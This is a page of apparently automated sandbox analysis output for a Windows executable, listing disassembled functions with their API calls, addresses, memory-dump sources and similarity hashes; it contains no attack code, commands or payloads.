Instruction Fuzzy Hash: C6A1D131504340AFC324DF28C895F2A7BE5EF84318F58899CF55A5B2A2CB35ED46CB92

Function 00B161FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B082D9,00B082D9,?,?,?,00B1644F,00000001,00000001,8BE85006), ref: 00B16258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B1644F,00000001,00000001,8BE85006,?,?,?), ref: 00B162DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B163D8
__freea.LIBCMT ref: 00B163E5

Part of subcall function 00B13820: RtlAllocateHeap.NTDLL(00000000,?,00BB1444,?,00AFFDF5,?,?,00AEA976,00000010,00BB1440,00AE13FC,?,00AE13C6,?,00AE1129), ref: 00B13852

__freea.LIBCMT ref: 00B163EE
__freea.LIBCMT ref: 00B16413

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: e86d07297bd260bbe73156ea0eceabb97c82725d4307d043106e6c18d1e6e008
Instruction ID: a1bfd2f9d04093a4c510a5913962eab3be71007c89ac7cafa3798559f45fa692
Opcode Fuzzy Hash: e86d07297bd260bbe73156ea0eceabb97c82725d4307d043106e6c18d1e6e008
Instruction Fuzzy Hash: BF51D272600216ABDB258F68EC81EEF7BEAEB44750F9546A9FC15D7140EB34DCC0C6A4

Function 00B6BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6B6AE,?,?), ref: 00B6C9B5
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6C9F1
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA68
Part of subcall function 00B6C998: _wcslen.LIBCMT ref: 00B6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6BD25
RegCloseKey.ADVAPI32(00000000), ref: 00B6BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00B6BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B6BDF3
RegCloseKey.ADVAPI32(?), ref: 00B6BDFF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 49d543259cfd39506c22a7e3e1f7be698437b0c582b48411ad01b89f1919e6b1
Instruction ID: 501574d002e64f4b6e92e5fe3da2418ca4397b993eff632b68128a6ec9859381
Opcode Fuzzy Hash: 49d543259cfd39506c22a7e3e1f7be698437b0c582b48411ad01b89f1919e6b1
Instruction Fuzzy Hash: 6C819031108241AFD714DF24C995E2ABBF5FF84308F1489ACF5598B2A2DB35ED85CB92

Function 00B3F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00B3F7B9
SysAllocString.OLEAUT32(00000001), ref: 00B3F860
VariantCopy.OLEAUT32(00B3FA64,00000000), ref: 00B3F889
VariantClear.OLEAUT32(00B3FA64), ref: 00B3F8AD
VariantCopy.OLEAUT32(00B3FA64,00000000), ref: 00B3F8B1
VariantClear.OLEAUT32(?), ref: 00B3F8BB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 0fac94418bb520667f73d0b53fed9008f5baa2781ee44e2e57c8e04cb2cfa7ce
Instruction ID: 923e6fe5a6421e64453ac26dd36b680911dbd663830a4a52f53835f9ae935f93
Opcode Fuzzy Hash: 0fac94418bb520667f73d0b53fed9008f5baa2781ee44e2e57c8e04cb2cfa7ce
Instruction Fuzzy Hash: 3B51A335A00316FACF24AB65D895B39B3E4EF45310F3495AAF906DF291DB708C40C7A6

Function 00B5910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00AE7620: _wcslen.LIBCMT ref: 00AE7625

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00B594E5
_wcslen.LIBCMT ref: 00B59506
_wcslen.LIBCMT ref: 00B5952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00B59585

Strings

X, xrefs: 00B59412

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: f6d8d0e3f255c77774492d356503964e9c383d88176bc01500bc29a97a0dea82
Instruction ID: b8d346855605659ae5f8caa574e98f3a4af28d246135b4ab1ab2c5cc4b6c7be6
Opcode Fuzzy Hash: f6d8d0e3f255c77774492d356503964e9c383d88176bc01500bc29a97a0dea82
Instruction Fuzzy Hash: 44E18E31504341CFD724EF25C985B6AB7E0FF84314F1489ADE9999B2A2EB31DD09CB92

Function 00AF920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00AF9BB2

BeginPaint.USER32(?,?,?), ref: 00AF9241
GetWindowRect.USER32(?,?), ref: 00AF92A5
ScreenToClient.USER32(?,?), ref: 00AF92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00AF92D3
EndPaint.USER32(?,?,?,?,?), ref: 00AF9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00B371EA

Part of subcall function 00AF9339: BeginPath.GDI32(00000000), ref: 00AF9357

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 5a27ae7ea8129853925920573b25a1f1618f582ff1fc3662201a3e8e0688fafd
Instruction ID: e64de3201adf566956970337ba2ac4fd002a75e43e987d4f171505b21a55c154
Opcode Fuzzy Hash: 5a27ae7ea8129853925920573b25a1f1618f582ff1fc3662201a3e8e0688fafd
Instruction Fuzzy Hash: DE41BC71104204AFD721DF68CC94FBB7BF8EB45320F10066DFAA49B2A1CB719885CB61

Function 00B507EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00B5080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00B50847
EnterCriticalSection.KERNEL32(?), ref: 00B50863
LeaveCriticalSection.KERNEL32(?), ref: 00B508DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00B508F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00B50921

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 929e0c78af4fbdd34950d4acf4ee708f469e42893ed442e1e324d9ef4a999760
Instruction ID: 6e11a42f128e5c256ef66900141fbd056f61f7dd67e3710ddd32cfc1fa4c2603
Opcode Fuzzy Hash: 929e0c78af4fbdd34950d4acf4ee708f469e42893ed442e1e324d9ef4a999760
Instruction Fuzzy Hash: 98416871910209EFDF14AF94DC85A6A7BB8FF04300F1440A9ED04AB29BDB30DE64DBA0

Function 00B781DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00B3F3AB,00000000,?,?,00000000,?,00B3682C,00000004,00000000,00000000), ref: 00B7824C
EnableWindow.USER32(?,00000000), ref: 00B78272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00B782D1
ShowWindow.USER32(?,00000004), ref: 00B782E5
EnableWindow.USER32(?,00000001), ref: 00B7830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B7832F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: c9351d181b67aa9a1fe8ba4d0911c0b8f350e00c974618ddee659a141339e10c
Instruction ID: 7e08d1c877965c2e61dbc08fb676bbbc4c4fb62d1e1c522ac610f03a5787462b
Opcode Fuzzy Hash: c9351d181b67aa9a1fe8ba4d0911c0b8f350e00c974618ddee659a141339e10c
Instruction Fuzzy Hash: DC41A330641A44AFDB16CF18D89DBA47BE0FB4A715F1882E9E66C4B263CF71A841CF50

Function 00B44C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00B44C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B44CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B44CEA
_wcslen.LIBCMT ref: 00B44D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B44D10
_wcsstr.LIBVCRUNTIME ref: 00B44D1A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 15b6fd49ebedfd43b26302395f409d090edc2bb6fc4cb34afd08d90f3d59bad3
Instruction ID: 034f1b6b8bd4505468b4d5015ccb215f47664573a720b56b8bacb928de2f32d0
Opcode Fuzzy Hash: 15b6fd49ebedfd43b26302395f409d090edc2bb6fc4cb34afd08d90f3d59bad3
Instruction Fuzzy Hash: 3521F232604204BBEB155B69EC89B7B7FD8DF45750F1080BDF909CB192EF61CD50A2A0

Function 00B5581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE3A97,?,?,00AE2E7F,?,?,?,00000000), ref: 00AE3AC2

_wcslen.LIBCMT ref: 00B5587B
CoInitialize.OLE32(00000000), ref: 00B55995
CoCreateInstance.OLE32(00B7FCF8,00000000,00000001,00B7FB68,?), ref: 00B559AE
CoUninitialize.OLE32 ref: 00B559CC

Strings

.lnk, xrefs: 00B55876, 00B558C1, 00B55985

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 4a8fa381e890d1e2f70548bf55166008f7caf40645989a45e22b328a92d9f0fb
Instruction ID: fc8cb2424701896d198e9330f2c4760791a1037e515b4f0ad48755768d650726
Opcode Fuzzy Hash: 4a8fa381e890d1e2f70548bf55166008f7caf40645989a45e22b328a92d9f0fb
Instruction Fuzzy Hash: C1D175716047019FC724DF15C594A2ABBE1FF89712F14889DF88A9B361DB31EC49CB92

Function 00B4175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B40FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B40FCA
Part of subcall function 00B40FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B40FD6
Part of subcall function 00B40FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B40FE5
Part of subcall function 00B40FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B40FEC
Part of subcall function 00B40FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B41002

GetLengthSid.ADVAPI32(?,00000000,00B41335), ref: 00B417AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B417BA
HeapAlloc.KERNEL32(00000000), ref: 00B417C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00B417DA
GetProcessHeap.KERNEL32(00000000,00000000,00B41335), ref: 00B417EE
HeapFree.KERNEL32(00000000), ref: 00B417F5

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 4a3a0ea9c8183f771d438e28d446f072ef299e2117d8858e34ab9619d7f8e449
Instruction ID: ad4f37655c430bd3e2d523343d14a0b7f5dd65069049f703048b2a94a1bcf018
Opcode Fuzzy Hash: 4a3a0ea9c8183f771d438e28d446f072ef299e2117d8858e34ab9619d7f8e449
Instruction Fuzzy Hash: 60119AB1910205FBDB109FA8CC89BAE7BE9EB41355F1048ACF545A7210DB35AE84EB60

Function 00B414CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00B414FF
OpenProcessToken.ADVAPI32(00000000), ref: 00B41506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00B41515
CloseHandle.KERNEL32(00000004), ref: 00B41520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B4154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00B41563

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 25b6f52e4a8fa7ba605295a1ce4d386fc7d97a47e670d77f12d42e34dd94ed88
Instruction ID: f4b37e74d5fc0ae090fd9c04ce0829e75382018cd1662bad7cf8a0dffc2e3217
Opcode Fuzzy Hash: 25b6f52e4a8fa7ba605295a1ce4d386fc7d97a47e670d77f12d42e34dd94ed88
Instruction Fuzzy Hash: 81112972501209ABDF11CF98DD49BDE7BA9EF48744F044459FA09A2160C775CEA0EB60

Function 00B03382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B03379,00B02FE5), ref: 00B03390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B0339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B033B7
SetLastError.KERNEL32(00000000,?,00B03379,00B02FE5), ref: 00B03409

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 12988eae3f226e72de2b6ee808487d8e3a92e7e0c844973d1347fb6637f5b0e3
Instruction ID: 6944920c5143f0531e327d9c8bfd4435f47a79cfa835da4ac2e736e67e874023
Opcode Fuzzy Hash: 12988eae3f226e72de2b6ee808487d8e3a92e7e0c844973d1347fb6637f5b0e3
Instruction Fuzzy Hash: 1501D83260D311BEE6252BB47CCE55B2EDCDB06B7572002ADF510862F0FF224D415548

Function 00B12D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B15686,00B23CD6,?,00000000,?,00B15B6A,?,?,?,?,?,00B0E6D1,?,00BA8A48), ref: 00B12D78
_free.LIBCMT ref: 00B12DAB
_free.LIBCMT ref: 00B12DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00B0E6D1,?,00BA8A48,00000010,00AE4F4A,?,?,00000000,00B23CD6), ref: 00B12DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00B0E6D1,?,00BA8A48,00000010,00AE4F4A,?,?,00000000,00B23CD6), ref: 00B12DEC
_abort.LIBCMT ref: 00B12DF2

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 44a5f17bff3c284cee846566bc934ecf22d9bd723ee4460eb28471cc4f38db0f
Instruction ID: c36343b578729722f2a6151f6a0530e8961578265b3ba05670ed27e7f8453881
Opcode Fuzzy Hash: 44a5f17bff3c284cee846566bc934ecf22d9bd723ee4460eb28471cc4f38db0f
Instruction Fuzzy Hash: 3DF0A9355445002BD6123738FC06ADB19D5EFC27B1BA505BDF828931D1EE3488E14160

Function 00B78A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AF9693
Part of subcall function 00AF9639: SelectObject.GDI32(?,00000000), ref: 00AF96A2
Part of subcall function 00AF9639: BeginPath.GDI32(?), ref: 00AF96B9
Part of subcall function 00AF9639: SelectObject.GDI32(?,00000000), ref: 00AF96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00B78A4E
LineTo.GDI32(?,00000003,00000000), ref: 00B78A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00B78A70
LineTo.GDI32(?,00000000,00000003), ref: 00B78A80
EndPath.GDI32(?), ref: 00B78A90
StrokePath.GDI32(?), ref: 00B78AA0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1a55a170d82866bb999e4c3616a939a311cd06197a514fac565c295196f9175d
Instruction ID: 7b5de5e74f0cf977cbdcdb112dec09839c43eec40cb29af63b7796eff0537c8a
Opcode Fuzzy Hash: 1a55a170d82866bb999e4c3616a939a311cd06197a514fac565c295196f9175d
Instruction Fuzzy Hash: 81111E7604014CFFDF119F94DC48EAA7F6DEB04350F008056FA19961A1CB719D95DFA0

Function 00B451FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B45218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B45229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B45230
ReleaseDC.USER32(00000000,00000000), ref: 00B45238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B4524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00B45261

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: ea0c6b02eea399ac6af15b94d484415dc7fdcb2fb6152c49659ad981313565a4
Instruction ID: 062fbdc5b96cacbbcbc2d1a796ed1caf211954919220321a7efc2d8f95493971
Opcode Fuzzy Hash: ea0c6b02eea399ac6af15b94d484415dc7fdcb2fb6152c49659ad981313565a4
Instruction Fuzzy Hash: 03016775E01715BBEB105BA59C49E5EBFB8EF44751F144069FA08E7281DA70DD00DFA0

Function 00AE1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

